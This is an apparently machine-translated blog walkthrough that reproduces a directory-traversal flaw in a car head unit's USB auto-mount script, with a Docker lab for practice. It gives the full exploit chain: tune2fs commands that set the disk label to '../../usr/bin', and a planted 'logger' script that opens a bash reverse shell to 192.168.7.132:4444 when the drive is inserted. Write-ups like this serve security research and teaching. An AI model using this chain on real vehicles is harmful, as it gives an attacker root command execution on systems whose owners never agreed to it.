U SB flash disk directory traversing to obtain vehicle SHELL (including simulation environment, which can be used for practice)

Posted by Jamez on Fri, 11 Feb 2022 23:57:57 +0100

Using USB flash disk, whether Getshell still stays on Badusb and virus USB flash disk, let's see a different one this time. While browsing Github some time ago, I saw a Nissan car machine cracking project, including the operation of using USB flash disk to obtain car machine SHELL. I think it's very interesting. It took some time to find the firmware of the car and reproduce the loopholes. Conveniently wrote a Dockerfile for everyone to play with.

Directory traversal

Directory traversal mostly occurs in the WEB. Unexpectedly, it can still appear in hardware devices.

The operating system of the car is Linux, and the hot plug of peripherals such as USB flash disk is realized by udev. Udev is the device manager of Linux kernel, and the configuration file is under / etc/udev. Udev will construct the mount point according to the UUID and LABEL of the device. UUID is the unique identifier of the block device, and LAEBL is a LABEL of the block device.

The U disk mounting script is customized in the car machine, which is in the udev configuration file / etc / udev / rules d/local. The block device specified in the rules is controlled by the script / etc / udev / scripts / mount SH processing.

SUBSYSTEM=="block", ACTION=="add",    KERNEL=="sd*", ENV{ID_FS_TYPE}=="?*", \
            ENV{DKD_PARTITION_TABLE}!="1", \
            ENV{DKD_PRESENTATION_HIDE}!="1", \
            RUN+="/etc/udev/scripts/mount.sh", RUN+="/etc/udev/scripts/trace_proxy.sh"
SUBSYSTEM=="block", ACTION=="remove", KERNEL=="sd*", ENV{ID_FS_TYPE}=="?*", RUN+="/etc/udev/scripts/mount.sh", RUN+="/etc/udev/scripts/trace_proxy.sh"
SUBSYSTEM=="block", ACTION=="change", KERNEL=="sd*", ENV{DEVTYPE}=="disk",  RUN+="/etc/udev/scripts/mount.sh"

The problem is mount In the SH script, use.. // It can realize path crossing and obtain system permission.

MOUNT="/bin/mount"
UMOUNT="/bin/umount"
MOUNTPT="/dev/media"
MOUNTDB="/tmp/.automount"

automount() {
    if [ -z "${ID_FS_TYPE}" ]; then
    logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
    return
    fi

    # Determine the name for the mount point.  First check for the
    # uuid, then for the label and then for a unique name.
    if [ -n "${ID_FS_UUID}" ]; then
    mountdir=${ID_FS_UUID}
    elif [ -n "${ID_FS_LABEL}" ]; then
    mountdir=${ID_FS_LABEL}
    else
    mountdir="disk"
    while [ -d $MOUNTPT/$mountdir ]; do
        mountdir="${mountdir}_"
    done
    fi

    # Create the mount point.
    ! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir"

    # And mount the disk or partition.
    if [ -n ${ID_FS_TYPE} ]
    then
      if [ "vfat" = ${ID_FS_TYPE} ]
      then
        IOCHARSET=",utf8=1"
      elif [ "ntfs" = ${ID_FS_TYPE} ]
      then
        IOCHARSET=",nls=utf8"
      fi
    fi

    result=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)

Now let's take a detailed look at the auto mount function. First judge the file system IDFSTYPE of the USB flash disk. If it can be recognized, continue to execute, otherwise exit. The next paragraph is used to splice and construct the mount point. First judge the UUID of the device, and then judge the LABEL of the device. Which one is not empty is used as the file name of the device mount, and then splice / dev/media to form the final mount point. Finally, use the mount command to mount the USB flash disk to the path just constructed.

The problem lies in the mounting path, because the UUID and LABEL of the device can be modified manually. If relative paths are introduced into $mountdir, path traversal can be realized. Then through the path through the program in the hijacking system, arbitrary command execution can be realized. Point numbers cannot be used in UUID, so you can only write articles on LABEL. Then look down at the script.

h
status=$?
if [ ${status} -ne 0 ]; then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p ${MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi

After the USB flash disk is mounted, the logger command will be called. Then the operation comes. Set UUID to empty and LABEL to/ usr/bin can hijack the application under the original / usr/bin /. Logger is a good choice for writing commands. When the USB flash disk is automatically mounted, it will be executed automatically. Let's see how to use it.

Vulnerability exploitation

First, prepare a U SB flash disk in EXT4 format.

The blkid command is used to view the UUID, LABEL and other information of the device. Why don't you see the LABEL of the device? When a property is empty, it is hidden.

root@kali:~/automotive#blkid /dev/sdb1
/dev/sdb1: UUID="cf01cd66-7f32-4713-996a-3af878aba827" BLOCK_SIZE="4096" TYPE="ext4"

By default, the USB flash disk in EXT4 format has only UUID and LABEL is empty. Both values can be modified using tune2fs.

Empty UUID

root@kali:~/automotive# tune2fs -U NULL /dev/sdb1
tune2fs 1.46.2 (28-Feb-2021)
Setting the UUID on this filesystem could take some time.
Proceed anyway (or wait 5 seconds to proceed) ? (y,N) y

Set LABEL

root@kali:~/automotive# tune2fs -L "../../usr/bin" /dev/sdb1
tune2fs 1.46.2 (28-Feb-2021)

After the modification of UUID and LABEL, use blkid to check the modified results, which are accurate.

root@kali:~/automotive# tune2fs -L "../../usr/bin" /dev/sdb1
tune2fs 1.46.2 (28-Feb-2021)

Set bounce shell

Mount the USB flash disk manually, and create a shell script named logger in the USB flash disk, with the content of rebound shell. Remove the USB flash drive after everything is set.

root@kali:~/automotive# mount /dev/sdb1 /media/root/
root@kali:~/automotive# cd /media/root
root@kali:/media/root# cat logger
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.7.132/4444 0>&1
root@kali:/media/root# chmod +x logger
root@kali:/media/root# cd -
root@kali:~/automotive# umount /dev/sdb1

Insert the special U SB flash disk into the simulator

I don't have a Nissan car in my hand (PS. I'm a Tesla away from the Tesla vulnerability), and what about itching. Fortunately, I found the firmware and built a simulation environment.

Download the [Dockerfile] made before( https://github.com/delikely/VulnerableFiles/blob/main/Automotive/bosch headunit root/Dockerfile), and then use docker build and docker run to build the simulation environment of the car lifting machine.

root@kali:~/automotive# wget https://raw.githubusercontent.com/delikely/VulnerableFiles/main/Automotive/bosch%20headunit%20root/Dockerfile
root@kali:~/automotive# docker build -t delikely/bosch_headunit_root:automount .
Sending build context to Docker daemon  86.02kB
Step 1/4 : FROM ubuntu:12.04
 ---> 5b117edd0b76
Step 2/4 : WORKDIR /etc/
 ---> Using cache
 ---> 22a68ab4c71d
root@kali:~/automotive# docker run -itd --privileged=true _headunit_root:automount
ee7059240fcea0e24bb01ebdbde51be1198f15b452af42f101307f8684

After the Docker is created with the above command, the of the virtual car machine will run. Now you only need to insert the previously prepared U SB flash disk to get the rebound Shell.

Note: due to hijacking the / usr/bin / directory, many commands cannot be used. If you want to use it, you have to prepare in advance and copy the files in the original / usr/bin directory (or executable files of the same architecture) to the root directory of the U SB flash disk.

summary

This vulnerability is quite interesting. It hijacks / usr/bin to execute arbitrary commands by traversing the LABEL directory of U SB flash disk. I've seen another one before Ubuntu rights raising vulnerability : using software links to raise rights also makes people call wonderful. This time, I learned a new posture and built the first simulation environment for the loopholes of intelligent network connected vehicles. In the later stage, we will continue to maintain (add) the vulnerability simulation environment of the Internet of vehicles. We welcome interested partners to build it together.